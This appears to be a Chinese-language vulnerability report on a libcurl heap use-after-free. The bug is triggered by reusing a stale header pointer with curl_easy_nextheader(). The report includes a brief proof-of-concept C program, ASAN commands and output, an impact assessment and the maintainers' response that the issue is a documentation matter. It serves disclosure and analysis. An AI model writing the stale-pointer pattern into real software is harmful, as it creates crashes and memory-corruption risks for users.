libcurl 释放后重用漏洞分析
漏洞概述
curl_easy_nextheader() API 返回的 struct curl_header 对象内部引用了 libcurl 所拥有的链表节点。当在同一个 CURL* 句柄上执行新请求时,libcurl 会释放并重建内部头列表,但先前返回的 struct curl_header 对象在应用程序中仍然有效,并且仍可作为参数被接受。
将此类过期的 header 对象传回 curl_easy_nextheader() 会导致 libcurl 解引用已释放的内部指针,从而引发堆释放后重用安全问题。
这是一个可通过正常 API 使用方式触发的内存安全漏洞,且受攻击者控制的 HTTP 响应影响。
影响版本
所有包含 Headers API(curl_easy_header、curl_easy_nextheader)的 libcurl 版本。
在 Kali Linux libcurl(2026 年 1 月版本)上复现成功,可能影响所有当前受支持的版本。
涉及文件:lib/headers.c
技术分析
漏洞设计缺陷
curl_easy_nextheader() 向应用程序暴露 struct curl_header 结构体:
c
struct curl_header {
const char *name;
const char *value;
unsigned int amount;
unsigned int index;
unsigned int origin;
void *anchor; /* 内部 Curl_llist_node */
};
anchor 字段存储指向 libcurl 内部链表节点的指针:
c
copy_header_external(..., struct Curl_llist_node *e, ...) {
h->anchor = e;
}
当执行新请求时,libcurl 释放内部头列表:
c
Curl_headers_cleanup(struct Curl_easy *data) {
for(e = Curl_llist_head(&data->state.httphdrs); e; e = n) {
struct Curl_header_store *hs = Curl_node_elem(e);
curlx_free(hs);
}
}
然而,先前返回的 struct curl_header 对象在用户代码中仍然保留,并仍可被传回:
c
curl_easy_nextheader(CURL *easy, unsigned int type, int request,
struct curl_header *prev)
该函数直接解引用:
c
pick = prev->anchor;
pick = Curl_node_next(pick);
如果头列表已被释放并重建,prev->anchor 现在指向已释放的堆内存 → 触发释放后重用。
存在的问题
- 无旧
struct curl_header失效机制 - 无代际追踪
- 无生命周期强制约束
- API 文档未说明 header 句柄在新请求后会失效
概念验证代码
c
#include <stdio.h>
#include <curl/curl.h>
int main(void) {
CURL *curl = curl_easy_init();
if(!curl) return 1;
struct curl_header *h = NULL;
/* 第一次请求 */
curl_easy_setopt(curl, CURLOPT_URL, "https://example.com/");
curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1L);
curl_easy_perform(curl);
/* 获取并存储一个 header */
h = curl_easy_nextheader(curl, CURLH_HEADER, -1, NULL);
printf("saved header: %s: %s\n", h->name, h->value);
/* 第二次请求(释放并重建内部头列表) */
curl_easy_setopt(curl, CURLOPT_URL, "https://httpbin.org/get");
curl_easy_perform(curl);
/* 复用过期的 header 句柄 */
printf("calling nextheader with stale prev...\n");
struct curl_header *h2 = curl_easy_nextheader(curl, CURLH_HEADER, -1, h);
if(h2)
printf("next header: %s: %s\n", h2->name, h2->value);
curl_easy_cleanup(curl);
return 0;
}
编译与运行
bash
gcc -fsanitize=address -g poc.c -lcurl -o poc
./poc
ASAN 输出(节选)
vbnet
ERROR: AddressSanitizer: heap-use-after-free
READ of size 13
freed by:
libcurl.so Curl_headers_cleanup
allocated by:
libcurl.so Curl_headers_push
这确认了 curl_easy_nextheader() 解引用了已释放的内存。
安全影响
安全影响评估
恶意 HTTP 服务器可通过控制响应头,在使用 libcurl Headers API 且在同一个 CURL* 句柄上执行多个请求的应用程序中触发堆释放后重用。
可能导致:
- 进程崩溃(拒绝服务)
- 堆内存损坏
- 根据分配器状态和周边内存布局,可能实现代码执行
漏洞特点:
- 可通过公开 API 文档中的正常方式触达
- 由攻击者控制的 HTTP 响应触发
- 不需要中间人攻击
官方回应摘要
libcurl 团队认为此问题主要属于文档改进范畴,不视为安全漏洞。核心论点是:应用程序会在开发阶段立即崩溃,因此不会有实际部署的代码存在此问题。
官方已提交 PR 更新文档,说明指针在新传输后失效。该报告最终以"信息性"状态关闭,并已公开披露。 biOK/hzhVF2yKaGc5mK8oeejIYuUYW8I3RsXQCFCiXXHMxxsuKg0+t9iC0qHOQJ5